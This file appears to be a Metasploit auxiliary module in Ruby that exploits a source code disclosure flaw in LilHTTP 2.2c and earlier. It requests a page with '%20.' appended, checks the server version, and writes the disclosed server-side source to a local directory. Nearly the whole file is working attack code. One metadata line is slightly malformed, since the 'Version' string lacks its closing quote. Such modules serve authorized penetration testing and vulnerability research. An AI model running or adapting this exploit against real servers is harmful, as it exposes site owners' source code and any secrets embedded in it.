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##
# $Id: lilhttp_source_disclosure.rb 12196 2011-05-27 00:51:33Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'LilHTTP Source Code Disclosure/Download',
'Description' => %q{
This module exploits a source code disclosure/download vulnerability in
versions 2.2c and prior of LilHTTP.
},
'Version' => '$Revision: 12196
,
'References' =>
[
[ 'URL', 'http://www.summitcn.com/lilhttp/lildocs.html' ]
],
'Author' =>
[
'Treasure Priyamal',
'http://treasuresec.com',
'treasure[at]treasuresec.com'
],
'License' => MSF_LICENSE)
register_options(
[
OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/index.html']),
OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '/home/zero']),
], self.class)
end
def target_url
"http://#{vhost}:#{rport}#{datastore['URI']}"
end
def run_host(ip)
uri = datastore['URI']
path_save = datastore['PATH_SAVE']
vuln_versions = [
"LilHTTP/2.2c" # Only Tested on 2.2c version might work on others versions too
]
disclosure = "%20."
begin
res = send_request_raw({
'method' => 'GET',
'uri' => "/#{uri}#{disclosure}",
}, 25)
version = res.headers['Server'] if res
if vuln_versions.include?(version)
print_good("#{target_url} - LilHTTP - Vulnerable version: #{version}")
if (res and res.code == 200)
print_good("#{target_url} - LilHTTP - Getting the source of page #{uri}")
save_source = File.new("#{path_save}#{uri}","w")
save_source.puts(res.body.to_s)
save_source.close
print_status("#{target_url} - LilHTTP - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))
else
print_error("http://#{vhost}:#{rport} - LilHTTP - Unrecognized #{res.code} response")
return
end
else
if version =~ /LilHTTP/
print_error("#{target_url} - LilHTTP - Cannot exploit: the remote server is not vulnerable - Version #{version}")
else
print_error("#{target_url} - LilHTTP - Cannot exploit: the remote server is not LilHTTP")
end
return
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
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